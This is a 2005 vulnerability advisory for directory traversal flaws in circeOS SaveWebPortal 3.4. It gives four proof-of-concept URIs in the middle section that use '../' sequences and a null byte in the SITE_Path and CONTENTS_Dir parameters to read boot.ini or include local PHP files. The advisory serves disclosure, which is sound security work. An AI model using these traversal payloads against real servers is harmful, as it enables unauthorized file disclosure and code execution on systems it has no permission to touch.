SaveWebPortal Multiple Directory Traversal Vulnerabilities

Bugtraq ID:	14643
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Aug 23 2005 12:00AM
Updated:	Aug 23 2005 12:00AM
Credit:	rgod is credited with the discovery of these vulnerabilities.
Vulnerable:	circeOS SaveWebPortal 3.4
Not Vulnerable:

SaveWebPortal Multiple Directory Traversal Vulnerabilities

SaveWebPortal is prone to multiple directory traversal vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

Exploitation of this vulnerability could lead to a loss of confidentiality and integrity. Information obtained may aid in further attacks against the underlying system; other attacks are also possible.

An attacker can also execute arbitrary local PHP files through exploitation of this vulnerability. The impact of this will depend on the PHP files available.

SaveWebPortal Multiple Directory Traversal Vulnerabilities

No exploit is required.

The following proof of concept URI are available:
http://www.example.com/saveweb/menu_dx.php?SITE_Path=../../../../../boot.ini%00
http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../boot.ini%00

http://www.example.com/saveweb/menu_dx.php?SITE_Path=../../../../../[script].php%00
http://www.example.com/saveweb/menu_sx.php?CONTENTS_Dir=../../../../../[script].php%00

SaveWebPortal Multiple Directory Traversal Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

SaveWebPortal Multiple Directory Traversal Vulnerabilities

References:

• circeOS SaveWebPortal Web Site (circeOS)
  
• SaveWebPortal 3.4 remote code execution etcetera (rgod)